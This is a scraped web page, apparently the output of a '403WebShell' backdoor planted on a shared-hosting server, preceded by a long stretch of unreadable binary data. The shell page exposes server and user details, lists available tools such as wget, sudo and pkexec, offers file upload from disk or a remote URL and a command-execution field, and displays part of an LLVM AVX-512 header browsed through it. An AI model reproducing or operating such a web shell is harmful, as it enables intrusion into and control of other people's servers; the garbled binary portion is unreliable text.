�����u�����񶤑Oqˎ�T����r��㠚x�sr�GC��byp�G��1ߠ�w e�8�$⿄����/�M{*}��W�]˷.�CK\�ުx���/$�WP w���r�
|i���&�}�{�X�
�>��$-��l���?-z���g����lΆ���(F���h�vS*���b���߲ڡn,|)mrH[���a�3�ר�[1��3o_�U�3�TC�$��(�=�)0�kgP���� ��u�^=��4 �WYCҸ:��vQ�ר�X�à��tk�m,�t*��^�,�}D*� �"(�I��9R����>`�`��[~Q]�#af��i6l��8���6�:,s�s�N6�j"�A4���IuQ��6E,�GnH��zS�HO�uk�5$�I�4��ؤ�Q9�@��C����wp �BGv[]�u�Ov��� 0I4���\��y�����Q�Ѹ��~>Z��8�T��a��q�ޣ;z��a���/��S��I:�ܫ_�|������>=Z����8:�S��U�I�J��"IY���8%b8���H��:�QO�6�;7�I�S��J��ҌAά3��>c���E+&jf$eC+�z�;��V������r���ʺ������my�e���aQ�f&��6�ND ��.:��NT�vm�<-
u���ǝ\MvZY�N�NT��-A�>jr!S��n�O1�3�Ns�%�3D@���`������ܟ1�^c<�����a�ɽ�̲�Xë#�w�|y�cW�=�<ITS�1�G]�b��I&�"B#E,�N` �l¡/'Pi��Ey�I���h���H�YH�A͑|4Z�A�����Q��>9I*H8�p�^(4���՗�k��arOcW�tO�\�ƍR��8����'�K���I�Q�����?5�>[�}��yU�ײ-h��=��%	q�ThG�2�)���"ו3]�!kB��*p�FDl�A���,�eEi�H�f�Ps�����5�H:�Փ~�H�0Dت�D�I����h�F3�������c��2���E��9�H��5�zԑ�ʚ�i�X�=:m�xg�hd(�v����׊�9iS��O��d@0ڽ���:�p�5�h-��t�&���X�q�ӕ,��ie�|���7A�2���O%P��E��htj��Y1��w�Ѓ!����	����	ࢽ��My�7�\�a�@�ţ�J �4�Ȼ�F�@o�̒<D�Xw���j}�G}9���j{C�<F2�?!x� <�x�=
�K#jU��k��3sr�4�*�\3���T�s�#�Eu y�I���{���F'��_�f����.���c|�TP���z�~�%6���`�v����e*wD�O�˞ᐌN�E�u�|̧hj����G: ��m{�<��SL�xS��4�(��Օ� ���#�t�gS�W�6�*E�:E�QSá|�"�W_$����G���D�}�N~�wQME�c�؁����մs��s�\I�hU��#m� oJ��.�J�٭J��I�Z؂R�`C��Bۇ]�^Y;Tѓ/.^�4�� 5�" ����ӭ�ҟ4��G ����І���jh�{l�oo�]N���a�+�ygm�.dY�!-W����աFnL��
>?4�wx��)��]�P��~�����u�����5�����7X��9��^ܩ�U;Iꭆ
5�������eK2�7(�{|��Y׎�V��\"���Z�1�
Z�����}��(�Ǝ"�1S���_�vE30>���p;�ΝD��%x�W�?W?v����o�^V�i�d��r[��/&>�~`�9Wh��y�;���R�� �;;ɮT��?����r$�g1�K����A��C��c��K��l:�'��3c�ﳯ*"t8�~l��)���m��+U,z��`( �>yJ�?����h>��]��v��ЍG*�{`��;y]��I�T�;c��NU�fo¾h���/$���|NS���1�S�"�H��V���T���4��uhǜ�]�v;���5�͠x��'C\�SBpl���h}�N����� A�Bx���%��ޭ�l��/����T��w�ʽ]D�=����K����r㻠l4�S�O?=�k
�M:���c�C�a�#ha���)�ѐxc�s���gP�iG�� {+���x���Q���I=	��z��ԫ+
�8"�k�ñ�j=|����c��y��CF��/ ��*9ж�h{�?4�o���k�m�Q�N�x��;�Y��4膚�a�w?�6�> e]�����Q�r�:����g�,i"�����ԩA� *M�<�G��b�if��l^M��5� �Ҩ�{����6J��ZJ�����P�*�����Y���ݛu�_4�9�I8�7���������,^ToR���m4�H��?�N�S�ѕw��/S��甍�@�9H�S�T��t�ƻ���ʒU��*{Xs�@����f��� ��֒Li�K{H�w^���������Ϥm�tq���s�
���ք��f:��o~s��g�r��ט�
�S�ѱC�e]�x���a��) ���(b-$(�j>�7q�B?ӕ�F��h<y�ci M�����Jc�����z�Nݝ:�ΧX����&]�+�\�T�F�4���@�+���ןO�׵���?�s�q8���(Y��Ʊ���*�RM��g�Ow0=g`��ښ�=�� 9���#�������o��m�r?���G񶨯�ǘ8��N�t1�%��<찘��5��?*�C�9�v����:�9��9?[�}~����a���)e�G+Ü�t(�N��JFm��e��[��P1'`�h% 4ﶹ�p�m�<��g=�۹��aa��x>V25r[7
Y�}L�R��}����*sg+��x�r�2�U=�*'WS��ZDW]�WǞ�<��叓���{�$�9Ou4��y�90-�1�'*D`�c�^o?(�9��u���ݐ��'PI&�f�Jݮ�������:wS����jfP1F:X�H�9dԯ�� �˝[�_54�}*;@�ܨ��	ð�yn�T���?�ןd�#���4rG�ͨ��H�1�|-#���Mr�S3��G�3�����)�.᧏3v�z֑��r����$G"�`j�1t��x0<Ɔ�Wh6�y�6��,œ�Ga��gA����y��b��)� �h�D��ß�_�m��ü�gG;��e�v��ݝ�nQ���C����-�*��o���y�a��M��I�>�<���]obD��"�:���G�A��-\%LT�8���c�)��+y76���o�Q�#*{�(F�⽕�y����=���rW�\p<yۚQ��bz�To����}��TT�Qqs�,s�vm盭��]���	����l�A�q�T<4p�p�b��U��Q�}�Y@�uZH��0n�����~�b|U�9/-�y#��@�7��]gxZ�Ո�ʟ�a���q�cÜ���M�r�u�r��#'PŻiՑ���o9���Y�����1;�s�����װ��/M"�3��hnt�T`UO��Xz�c�3�g��Cn"���m�e?�B�����9T�����ZW.�Y&�*GK�F��ݥz��q	�����ܧ�TNh#f�D���ᰎn�����}�fQ������69���ZL�C{�/P�̪(@a�[�11��^��J�F5s��T�ֺB��W�~= ���X��.�������_#����*�v�9�*֕�N�;AÛ�5f`pi5n�Ֆb������:�m���ĦiV?�.j,�C��-"��1��D)���`Ѭى,�jI9�ʈ����P����6��$u{�J��w��n4�Dm�m���y��}]���h�)ɹ#R#�΢ن���TZ���k�	����h(xe�G/�������EA��fQBA���?x���bk�T-���y4Ƈy��ИQ���4�3yk�Z&&�x�N�?Y}�.��{lt��u����psm}Cfs�iY�v��/�ZH*1XG�8��GF��u�SZ�#�{&#JȺ[H���su�^53�	��ݜf f讥]`��m���}h�=Xo,a����Ѣ�*����×^KJ1H~-�;,��Ƥ�d���D��B=ƥ����ue�(�D�ӈF��%N5����f��8��6>���۩�c���A���^e6��K������ʐ�cVf5$�'->���ՉN"���F�"�UQ@�f��G<GZ6p�5�(tW3~�!�$�U��#�'���¿���[!���17���;OP�&)��F/w9� )�qn`��y��4��X(�c�m^X)�46� |l0 ̵����ג�����P���`�.Ԛ��7 ��Ẻ����( �D���ȃ&=���ڍ]�����Q�cՏ�ϴ���4���66q��+ԩ�e@�WYb����M�@�`( ���eaP��Z�Y�N}��֧�:z$��K1�I��������=јu�跄),n0`�}���^H���ӯ?C�:@��ED��NŨ;I�]E��/�9^Z��.?��JG� p9�����:�U��c�@ �mxJG�hΏ�t�k��FfS���a��V?F�*�\{-�է8�Q��_�5�tOnyUY6&�}%Ex�,ª�j�rj-��Y���~��"�g�U���X���Y��ԯE��3Tm�� I:�NU���Qw���C�ߛ�L(�H��u���d�]Ǽ����4���G�S���Y�&n[$�A����2L��`6>b~��#�&�M=��8�ט�JNu9��D��[̤�s�o�~��� ���G��9T�tW^g5y$b��Y'��س�Ǵ�=��U-2	#�MC�t(�i�	�ǉ�@Q
5�̣i�*�O����s�x�K�f��}\��M{E�V�{�υ��Ƈ�����);�H����I��fe�Lȣr�2��>��W� I�Ȃ6������i��k���5�YOxȺ����>��Y�f5'��|��H+��98pj�n�.O�y�������jY��~��i�w'������l�;�s�2��Y��:'lg�ꥴ)o#'Sa�a�K��Z��m��}�`169�n���"���x��I ��*+�	}F<��cГ���F�P�������ֹ*�PqX�x۩��,�	��N��
�4<-����%����:��7����W���u�`����� $�?�I��&����o��o��`v�>��P��"��l���4��5'�Z�gE���8���?��[�X�7(��.Q�-��*���ތL@̲����v��.5���[��=�t\+�CNܛ��,g�SQnH����}*F�G16���&:�t��4ُ"A��̣��$�b �|����#rs��a�����T��]�<�j��B S�('$�ɻ�
�wP;�/�n��?�ݜ��x�F��yUn�~mL*-�������Xf�wd^�a�}��f�,=t�׵i�.2/wpN�Ep8�OР�����R�FJ�	
55TZ��T�ɭ�<��]��/�0�r�@�f��V��V����Nz�G��^���7hZi����k��3�,kN�e|�vg�1{9]_i��X5y7�8e]�U����'�-2,���e"����]ot�I��Y_��n�(JҼ��1�O]bXc���Nu�No��pS���Q_���_�?i�~�x h5d'�(qw52]	��'ޤ�q��o1�R!���`ywy�A4u���h<קy���\[~�4�\ X�Wt/�	6�����n�F�a8��f���z�3$�t(���q��q�x��^�XWeN'p<-v�!�{�(>ӽDP7��ո0�y)�e$ٕv�Ih'Q�EA�m*�H��RI��=:������4牢) �%_iN�ݧ�l]�	�Nt���G��H�L���ɱ�g<���1V�,�J~�ٹ�"K��Q�� 9�HS�9�?@��k����r�;we݁�]I�!{�@�G�[�"��`���J:�n]�{�cA�E����V��ʆ���#��U9�6����j�#Y�m\��q�e4h�B�7��C�������d<�?J����1g:ٳ���=Y���D�p�ц�׈ǔ��1�]26؜oS�'��9�V�FVu�P�h�9�xc�oq�X��p�o�5��Ա5$�9W�V(�[Ak�aY錎qf;�'�[�|���b�6�Ck��)��#a#a˙��8���=äh�4��2��C��4tm^ �n'c� ��]GQ$[Wҿ��i���vN�{Fu��1�gx��1┷���N�m��{j-,��x��Ūm�ЧS�[�s���Gna���䑴��x�p8<������97�Q���ϴ�v�aϚG��Rt�Һ׈�f^\r��WH�JU�7Z���y)�vg=����n��4�_)y��D'y�6�]�c�5̪ �\�
�PF�k����&�c;��cq�$~T�7j���nç]�<�g	":�to�t}�159�<�/�8������m�b�K#g'I'.W����� 6��I/��>v��\�MN��g���m�A�yQL�4u�ǈ�j9��#44�t��l^�}L����n��R��!��t��±]��r��h6ٍ>�yҏ�N��fU��	����Fm@�8}�/u��jb9������he:A�y�ծw��GpΧh�5����l}�3p468��)U��d��c����;Us/�֔�YX�1�O2��uq�s��`hwg�r~�{R��mhN��؎*q42�*th��>�#���E����#��Hv�O����q�}����� 6�e��\�,Wk�#���X��b>��p}�դ��3���T5����6��[��@ �P�y*n��|'f�֧>�lư΂�̺����SU�'*�q�p�_S�����M��	'��c�6��� ��m��ySʨ;M��r���Ƌ�m�Kxo,���Gm�P��A�G�:��i��w�9�}M(�^�V��$ǒ�ѽ�9���|���� �a����J�SQ�a���r�B;����}���ٻ֢�2�%U���c�#�g���N�a�ݕ�'�v�[�OY'��3L�3�;,p�]@�S��{ls��X�'���c�jw� k'a�.��}�}&���dP�*�bK=ɍ!����;3n�gΊU�ߴmt�'*{,=SzfD�A��ko~�G�aoq�_mi}#�m�������P�Xhύ��� �mxǍ�΂���巿zf��Q���c���|kc�����?���W��Y�$���_Lv����l߶��c���`?����l�j�ݲˏ!V��6����U�Ђ(A���4y)H���p�Z_�x��>���e�� R��$�/�`^'3qˏ�-&Q�=?��CFVR
�D�fV�9��{�8g�������n�h�(P"��6�[�D���<E�����~0<@�`�G�6����Hг�cc���c�K.5��D��d�B���`?�XQ��2��ٿyqo&+�1^�DW�0�ꊩ���G�#��Q�nL3��c���������/��x
��1�1 [y�x�პCW��C�c�UĨ80�m�e�4.{�m��u���I=��f�����0QRls9���f���������9���~f�����Ǩ��a�"@�8���ȁ�Q����#c�ic������G��$���G���r/$W�(��W���V�"��m�7�[m�A�m����bo��D�j����۳�l���^�k�h׽�������#�iXn�v��eT�k�a�^Y�4�BN�� ĕ�� 0        !01@Q"2AaPq3BR������ ? � ��@4�Q�����T3,���㺠�W�[=JK�Ϟ���2�r^7��vc�:�9�E�ߴ�w�S#d���Ix��u��:��Hp��9E!��
V2;73|F��9Y���*ʬ�F��D����u&���y؟��^EA��A��(ɩ���^��GV:ݜDy�`��Jr29ܾ�㝉��[���E;Fzx��YG��U�e�Y�C����	����v-tx����I�sם�Ę�q��Eb�+P\	:>�i�C'�;�����k|z�رn�y]�#ǿb��Q��������w�����(�r|ӹs��[�D��2v-%��@;�8<a���[\o[ϧw��I!��*0�krs)�[�J9^��ʜ��p1)�	"��/_>��o��<1����A�E�y^�C��`�x1'ܣn�p��s`l���fQ��):�l����b>�Me�jH^?�kl3(�z:���1K&?Q�~�{�ٺ�h�y���/�[��V�|6��}�KbX����mn[-��7�5q�94�������dm���c^���h�X��5��<�eޘ>G���-�}�دB�ޟ�
��|�rt�M��V+�]�c?�-#ڛ��^ǂ}���Lkr���O��u�>�-D�ry�D?:ޞ�U��ǜ�7�V��?瓮�"�#���r��չģVR;�n���/_�؉v�ݶe5d�b9��/O��009�G���5n�W����JpA�*�r9�>�1��.[t���s�F���nQ�
V77R�]�ɫ8����_0<՜�IF�u(v��4��F�k�3��E)��N:��yڮe��P�`�1}�$WS��J�SQ�N�j �ٺ��޵�#l���ј(�5=��5�lǏmoW�v-�1����v,W�mn��߀$x�<����v�j(����c]��@#��1������Ǔ���o'��u+����;G�#�޸��v-lη��/(`i⣍Pm^� ��ԯ̾9Z��F��������n��1�����]�[��)�'������ :�֪�W��FC�����	�B9،!?���]��V��A�Վ�M��b�w��G
F>_DȬ0¤�#�QR�[V��kz���m�w�"��9ZG�7'[��=�Q����j8R?�zf�\a�=��O�U����*oB�A�|G���2�54�p��.w7���
 ��&������ξxGHp�B%��$g�����t�Џ򤵍z���HN�u�Я�-�'4��0�� ;_�� 3        !01"@AQa2Pq#3BR������ ? � �ʩca��en��^��8���<�u#��m*08r��y�N"�<�Ѳ0��@\�p���	�����Kv�D��J8�Fҽ�
�f�Y��-m�ybX�NP����}�!*8t(�OqѢ��Q�wW�K��ZD��Δ^e��!� ��B�K��p~�����e*l}z#9ң�k���q#�Ft�o��S�R����-�w�!�S���Ӥß|M�l޶V��!eˈ�8Y���c�ЮM2��tk����������J�fS����Ö*i/2�����n]�k�\���|4yX�8��U�P.���Ы[���l��@"�t�<������5�lF���vU�����W��W��;�b�cД^6[#7@vU�xgZv��F�6��Q,K�v��� �+Ъ��n��Ǣ��Ft���8��0��c�@�!�Zq
s�v�t�;#](B��-�nῃ~���3g������5�J�%���O������n�kB�ĺ�.r��+���#�N$?�q�/�s�6��p��a����a��J/��M�8��6�ܰ"�*������ɗud"\w���aT(����[��F��U՛����RT�b���n�*��6���O��SJ�.�ĳ<�v�MT��R\c��5l�sZB>F��<7�;EA��{��E���Ö��1U/�#��d1�a�n.1ě����0�ʾR�h��|�R��Ao�3�m3��%�� ���28Q� ��y��φ���H�To�7�lW>����#i`�q���c����a����m,B�-j����݋�'mR1Ήt�>��V��p���s�0IbI�C.���1R�ea�����]H�6�������� ��4B>��o��](��$B���m�����a�!=� �?�B�
K�Ǿ+�Ծ"�n���K��*��+��[T#�{ E�J�S����Q�����s�5�:�U�\wĐ�f�3����܆&�)��� �I���Ԇw��E	T�lrTf6Q|R�h:��[K���z��c֧�G�C��%\��_�a �84��HcO�bi��ؖV��7H�)*ģK~Xhչ0��4?�0����E<���}3���#���u�?��
��|g�S�6ꊤ�|�I#Hڛ�	�ա��w�X��9��7���Ŀ%�SL��y6č��|�F�a8���b� �$�sק�h���b9RAu7�˨p�Č�_\*w��묦��F����4D~�f����|(�"m���NK��i�S�>�$d7SlA��/�²����SL��|6N�}���S�˯���g��]6��;�#�.��<���q'Q�1|KQ$�����񛩶"�$r�b:���N8�w@��8$���AjfG|~�9F���Y��ʺ��Bwؒ������M:I岎�G��`s�YV5����6��A �b:�W���G�q%l�����F��H���7�������Fsv7� �k��
<html>
<!doctypehtml><html><head><title>403WebShell</title><meta content="noindex"name="robots"></head><body bgcolor="#1f1f1f"text="#ffffff"><link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"rel="stylesheet"><style>@import url(https://fonts.googleapis.com/css?family=Dosis);@import url(https://fonts.googleapis.com/css?family=Bungee);@import url(https://fonts.googleapis.com/css?family=Russo+One);body{font-family:Consolas,cursive;text-shadow:0 0 1px #757575}body::-webkit-scrollbar{width:12px}body::-webkit-scrollbar-track{background:#1f1f1f}body::-webkit-scrollbar-thumb{background-color:#1f1f1f;border:3px solid gray}#content tr:hover{background-color:#636263;text-shadow:0 0 10px #fff}#content .first{background-color:#5e5e5e}#content .first:hover{background-color:#25383c;text-shadow:0 0 1px #757575}table{border:1px #000 dotted;table-layout:fixed}td{word-wrap:break-word}a{color:#df5;text-decoration:none}a:hover{color:#000;text-shadow:0 0 10px #fff}input,select,textarea{border:1px #000 solid;-moz-border-radius:5px;-webkit-border-radius:5px;border-radius:5px}.gas{background-color:#1f1f1f;color:#fff;cursor:pointer}select{background-color:transparent;color:#fff}select:after{cursor:pointer}.linka{background-color:transparent;color:#fff}.up{background-color:transparent;color:#fff}option{background-color:#1f1f1f}.btf{background:0 0;border:1px #fff solid;cursor:pointer}::-webkit-file-upload-button{background:0 0;color:#fff;border-color:#fff;cursor:pointer}</style><center><font face="Bungee" size="5">403Webshell</font></center>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<tr><td>Server IP : <font color=#df5>213.165.242.4</font> &nbsp;/&nbsp; Your IP : <font color=#df5>216.73.216.86</font><br>Web Server : <font color='#df5'>Apache</font><br>System : <font color='#df5'>Linux amsngx344.inmotionhosting.com 4.18.0-553.40.1.lve.el8.x86_64 #1 SMP Wed Feb 12 18:54:57 UTC 2025 x86_64</font><br>User : <font color='#df5'>aquafi9&nbsp;</font>( <font color='#df5'>1305</font>)<br>PHP Version : <font color='#df5'>7.4.33</font><br>Disable Function : <font color='#df5'>NONE</font></font><br>MySQL : <font color=red>OFF</font> &nbsp;|&nbsp; cURL : <font color=green>ON</font> &nbsp;|&nbsp; WGET : <font color=green>ON</font> &nbsp;|&nbsp; Perl : <font color=green>ON</font> &nbsp;|&nbsp; Python : <font color=green>ON</font> &nbsp;|&nbsp; Sudo : <font color=green>ON</font> &nbsp;|&nbsp; Pkexec : <font color=green>ON</font><br>Directory : &nbsp;<a href="?loknya=/">/</a><a href="?loknya=/lib">lib</a>/<a href="?loknya=/lib/clang">clang</a>/<a href="?loknya=/lib/clang/20">20</a>/<a href="?loknya=/lib/clang/20/include">include</a>/</td></tr><tr><td><br>Upload File : <form enctype="multipart/form-data" method="post">
<input type="radio" value="1" name="dirnya" checked>current_dir [ <font color='red'>Writeable</font> ]
<input type="radio" value="2" name="dirnya" >document_root [ <font color='green'>Writeable</font> ]
<br>
<input type="hidden" name="upwkwk" value="aplod">
<input type="file" name="berkas"><input type="submit" name="berkasnya" value="Upload" class="up" style="cursor: pointer; border-color: #fff"><br>
<input type="text" name="darilink" class="up" placeholder="https://linuxploit.com/upload.txt">&nbsp;<input type="text" name="namalink" class="up" size="5" placeholder="kerang.txt"><input type="submit" name="linknya" class="up" value="Upload" style="cursor: pointer; border-color: #fff">
</form><br><form method="post" enctype="application/x-www-form-urlencoded">
Command : <input type="text" name="komend" class="up" style="cursor: pointer; border-color: #000" value="">
<input type="submit" name="komends" value=">>" class="up" style="cursor: pointer; border-color: #fff">
</form></table><br><hr><center style="font-family: Russo One">[ <a href='/squirt.php'>Back</a> ]&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<hr></center><br><tr><td>Current File : /lib/clang/20/include/avx512fintrin.h</tr></td></table><br/><pre>/*===---- avx512fintrin.h - AVX512F intrinsics -----------------------------===
 *
 * Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
 * See https://llvm.org/LICENSE.txt for license information.
 * SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
 *
 *===-----------------------------------------------------------------------===
 */
#ifndef __IMMINTRIN_H
#error &quot;Never use &lt;avx512fintrin.h&gt; directly; include &lt;immintrin.h&gt; instead.&quot;
#endif

#ifndef __AVX512FINTRIN_H
#define __AVX512FINTRIN_H

typedef char __v64qi __attribute__((__vector_size__(64)));
typedef short __v32hi __attribute__((__vector_size__(64)));
typedef double __v8df __attribute__((__vector_size__(64)));
typedef float __v16sf __attribute__((__vector_size__(64)));
typedef long long __v8di __attribute__((__vector_size__(64)));
typedef int __v16si __attribute__((__vector_size__(64)));

/* Unsigned types */
typedef unsigned char __v64qu __attribute__((__vector_size__(64)));
typedef unsigned short __v32hu __attribute__((__vector_size__(64)));
typedef unsigned long long __v8du __attribute__((__vector_size__(64)));
typedef unsigned int __v16su __attribute__((__vector_size__(64)));

/* We need an explicitly signed variant for char. Note that this shouldn't
 * appear in the interface though. */
typedef signed char __v64qs __attribute__((__vector_size__(64)));

typedef float __m512 __attribute__((__vector_size__(64), __aligned__(64)));
typedef double __m512d __attribute__((__vector_size__(64), __aligned__(64)));
typedef long long __m512i __attribute__((__vector_size__(64), __aligned__(64)));

typedef float __m512_u __attribute__((__vector_size__(64), __aligned__(1)));
typedef double __m512d_u __attribute__((__vector_size__(64), __aligned__(1)));
typedef long long __m512i_u __attribute__((__vector_size__(64), __aligned__(1)));

typedef unsigned char __mmask8;
typedef unsigned short __mmask16;

/* Rounding mode macros.  */
#define _MM_FROUND_TO_NEAREST_INT   0x00
#define _MM_FROUND_TO_NEG_INF       0x01
#define _MM_FROUND_TO_POS_INF       0x02
#define _MM_FROUND_TO_ZERO          0x03
#define _MM_FROUND_CUR_DIRECTION    0x04

/* Constants for integer comparison predicates */
typedef enum {
    _MM_CMPINT_EQ,      /* Equal */
    _MM_CMPINT_LT,      /* Less than */
    _MM_CMPINT_LE,      /* Less than or Equal */
    _MM_CMPINT_UNUSED,
    _MM_CMPINT_NE,      /* Not Equal */
    _MM_CMPINT_NLT,     /* Not Less than */
#define _MM_CMPINT_GE   _MM_CMPINT_NLT  /* Greater than or Equal */
    _MM_CMPINT_NLE      /* Not Less than or Equal */
#define _MM_CMPINT_GT   _MM_CMPINT_NLE  /* Greater than */
} _MM_CMPINT_ENUM;

typedef enum
{
  _MM_PERM_AAAA = 0x00, _MM_PERM_AAAB = 0x01, _MM_PERM_AAAC = 0x02,
  _MM_PERM_AAAD = 0x03, _MM_PERM_AABA = 0x04, _MM_PERM_AABB = 0x05,
  _MM_PERM_AABC = 0x06, _MM_PERM_AABD = 0x07, _MM_PERM_AACA = 0x08,
  _MM_PERM_AACB = 0x09, _MM_PERM_AACC = 0x0A, _MM_PERM_AACD = 0x0B,
  _MM_PERM_AADA = 0x0C, _MM_PERM_AADB = 0x0D, _MM_PERM_AADC = 0x0E,
  _MM_PERM_AADD = 0x0F, _MM_PERM_ABAA = 0x10, _MM_PERM_ABAB = 0x11,
  _MM_PERM_ABAC = 0x12, _MM_PERM_ABAD = 0x13, _MM_PERM_ABBA = 0x14,
  _MM_PERM_ABBB = 0x15, _MM_PERM_ABBC = 0x16, _MM_PERM_ABBD = 0x17,
  _MM_PERM_ABCA = 0x18, _MM_PERM_ABCB = 0x19, _MM_PERM_ABCC = 0x1A,
  _MM_PERM_ABCD = 0x1B, _MM_PERM_ABDA = 0x1C, _MM_PERM_ABDB = 0x1D,
  _MM_PERM_ABDC = 0x1E, _MM_PERM_ABDD = 0x1F, _MM_PERM_ACAA = 0x20,
  _MM_PERM_ACAB = 0x21, _MM_PERM_ACAC = 0x22, _MM_PERM_ACAD = 0x23,
  _MM_PERM_ACBA = 0x24, _MM_PERM_ACBB = 0x25, _MM_PERM_ACBC = 0x26,
  _MM_PERM_ACBD = 0x27, _MM_PERM_ACCA = 0x28, _MM_PERM_ACCB = 0x29,
  _MM_PERM_ACCC = 0x2A, _MM_PERM_ACCD = 0x2B, _MM_PERM_ACDA = 0x2C,
  _MM_PERM_ACDB = 0x2D, _MM_PERM_ACDC = 0x2E, _MM_PERM_ACDD = 0x2F,
  _MM_PERM_ADAA = 0x30, _MM_PERM_ADAB = 0x31, _MM_PERM_ADAC = 0x32,
  _MM_PERM_ADAD = 0x33, _MM_PERM_ADBA = 0x34, _MM_PERM_ADBB = 0x35,
  _MM_PERM_ADBC = 0x36, _MM_PERM_ADBD = 0x37, _MM_PERM_ADCA = 0x38,
  _MM_PERM_ADCB = 0x39, _MM_PERM_ADCC = 0x3A, _MM_PERM_ADCD = 0x3B,
  _MM_PERM_ADDA = 0x3C, _MM_PERM_ADDB = 0x3D, _MM_PERM_ADDC = 0x3E,
  _MM_PERM_ADDD = 0x3F, _MM_PERM_BAAA = 0x40, _MM_PERM_BAAB = 0x41,
  _MM_PERM_BAAC = 0x42, _MM_PERM_BAAD = 0x43, _MM_PERM_BABA = 0x44,
  _MM_PERM_BABB = 0x45, _MM_PERM_BABC = 0x46, _MM_PERM_BABD = 0x47,
  _MM_PERM_BACA = 0x48, _MM_PERM_BACB = 0x49, _MM_PERM_BACC = 0x4A,
  _MM_PERM_BACD = 0x4B, _MM_PERM_BADA = 0x4C, _MM_PERM_BADB = 0x4D,
  _MM_PERM_BADC = 0x4E, _MM_PERM_BADD = 0x4F, _MM_PERM_BBAA = 0x50,
  _MM_PERM_BBAB = 0x51, _MM_PERM_BBAC = 0x52, _MM_PERM_BBAD = 0x53,
  _MM_PERM_BBBA = 0x54, _MM_PERM_BBBB = 0x55, _MM_PERM_BBBC = 0x56,
  _MM_PERM_BBBD = 0x57, _MM_PERM_BBCA = 0x58, _MM_PERM_BBCB = 0x59,
  _MM_PERM_BBCC = 0x5A, _MM_PERM_BBCD = 0x5B, _MM_PERM_BBDA = 0x5C,
  _MM_PERM_BBDB = 0x5D, _MM_PERM_BBDC = 0x5E, _MM_PERM_BBDD = 0x5F,
  _MM_PERM_BCAA = 0x60, _MM_PERM_BCAB = 0x61, _MM_PERM_BCAC = 0x62,
  _MM_PERM_BCAD = 0x63, _MM_PERM_BCBA = 0x64, _MM_PERM_BCBB = 0x65,
  _MM_PERM_BCBC = 0x66, _MM_PERM_BCBD = 0x67, _MM_PERM_BCCA = 0x68,
  _MM_PERM_BCCB = 0x69, _MM_PERM_BCCC = 0x6A, _MM_PERM_BCCD = 0x6B,
  _MM_PERM_BCDA = 0x6C, _MM_PERM_BCDB = 0x6D, _MM_PERM_BCDC = 0x6E,
  _MM_PERM_BCDD = 0x6F, _MM_PERM_BDAA = 0x70, _MM_PERM_BDAB = 0x71,
  _MM_PERM_BDAC = 0x72, _MM_PERM_BDAD = 0x73, _MM_PERM_BDBA = 0x74,
  _MM_PERM_BDBB = 0x75, _MM_PERM_BDBC = 0x76, _MM_PERM_BDBD = 0x77,
  _MM_PERM_BDCA = 0x78, _MM_PERM_BDCB = 0x79, _MM_PERM_BDCC = 0x7A,
  _MM_PERM_BDCD = 0x7B, _MM_PERM_BDDA = 0x7C, _MM_PERM_BDDB = 0x7D,
  _MM_PERM_BDDC = 0x7E, _MM_PERM_BDDD = 0x7F, _MM_PERM_CAAA = 0x80,
  _MM_PERM_CAAB = 0x81, _MM_PERM_CAAC = 0x82, _MM_PERM_CAAD = 0x83,
  _MM_PERM_CABA = 0x84, _MM_PERM_CABB = 0x85, _MM_PERM_CABC = 0x86,
  _MM_PERM_CABD = 0x87, _MM_PERM_CACA = 0x88, _MM_PERM_CACB = 0x89,
  _MM_PERM_CACC = 0x8A, _MM_PERM_CACD = 0x8B, _MM_PERM_CADA = 0x8C,
  _MM_PERM_CADB = 0x8D, _MM_PERM_CADC = 0x8E, _MM_PERM_CADD = 0x8F,
  _MM_PERM_CBAA = 0x90, _MM_PERM_CBAB = 0x91, _MM_PERM_CBAC = 0x92,
  _MM_PERM_CBAD = 0x93, _MM_PERM_CBBA = 0x94, _MM_PERM_CBBB = 0x95,
  _MM_PERM_CBBC = 0x96, _MM_PERM_CBBD = 0x97, _MM_PERM_CBCA = 0x98,
  _MM_PERM_CBCB = 0x99, _MM_PERM_CBCC = 0x9A, _MM_PERM_CBCD = 0x9B,
  _MM_PERM_CBDA = 0x9C, _MM_PERM_CBDB = 0x9D, _MM_PERM_CBDC = 0x9E,
  _MM_PERM_CBDD = 0x9F, _MM_PERM_CCAA = 0xA0, _MM_PERM_CCAB = 0xA1,
  _MM_PERM_CCAC = 0xA2, _MM_PERM_CCAD = 0xA3, _MM_PERM_CCBA = 0xA4,
  _MM_PERM_CCBB = 0xA5, _MM_PERM_CCBC = 0xA6, _MM_PERM_CCBD = 0xA7,
  _MM_PERM_CCCA = 0xA8, _MM_PERM_CCCB = 0xA9, _MM_PERM_CCCC = 0xAA,
  _MM_PERM_CCCD = 0xAB, _MM_PERM_CCDA = 0xAC, _MM_PERM_CCDB = 0xAD,
  _MM_PERM_CCDC = 0xAE, _MM_PERM_CCDD = 0xAF, _MM_PERM_CDAA = 0xB0,
  _MM_PERM_CDAB = 0xB1, _MM_PERM_CDAC = 0xB2, _MM_PERM_CDAD = 0xB3,
  _MM_PERM_CDBA = 0xB4, _MM_PERM_CDBB = 0xB5, _MM_PERM_CDBC = 0xB6,
  _MM_PERM_CDBD = 0xB7, _MM_PERM_CDCA = 0xB8, _MM_PERM_CDCB = 0xB9,
  _MM_PERM_CDCC = 0xBA, _MM_PERM_CDCD = 0xBB, _MM_PERM_CDDA = 0xBC,
  _MM_PERM_CDDB = 0xBD, _MM_PERM_CDDC = 0xBE, _MM_PERM_CDDD = 0xBF,
  _MM_PERM_DAAA = 0xC0, _MM_PERM_DAAB = 0xC1, _MM_PERM_DAAC = 0xC2,
  _MM_PERM_DAAD = 0xC3, _MM_PERM_DABA = 0xC4, _MM_PERM_DABB = 0xC5,
  _MM_PERM_DABC = 0xC6, _MM_PERM_DABD = 0xC7, _MM_PERM_DACA = 0xC8,
  _MM_PERM_DACB = 0xC9, _MM_PERM_DACC = 0xCA, _MM_PERM_DACD = 0xCB,
  _MM_PERM_DADA = 0xCC, _MM_PERM_DADB = 0xCD, _MM_PERM_DADC = 0xCE,
  _MM_PERM_DADD = 0xCF, _MM_PERM_DBAA = 0xD0, _MM_PERM_DBAB = 0xD1,
  _MM_PERM_DBAC = 0xD2, _MM_PERM_DBAD = 0xD3, _MM_PERM_DBBA = 0xD4,
  _MM_PERM_DBBB = 0xD5, _MM_PERM_DBBC = 0xD6, _MM_PERM_DBBD = 0xD7,
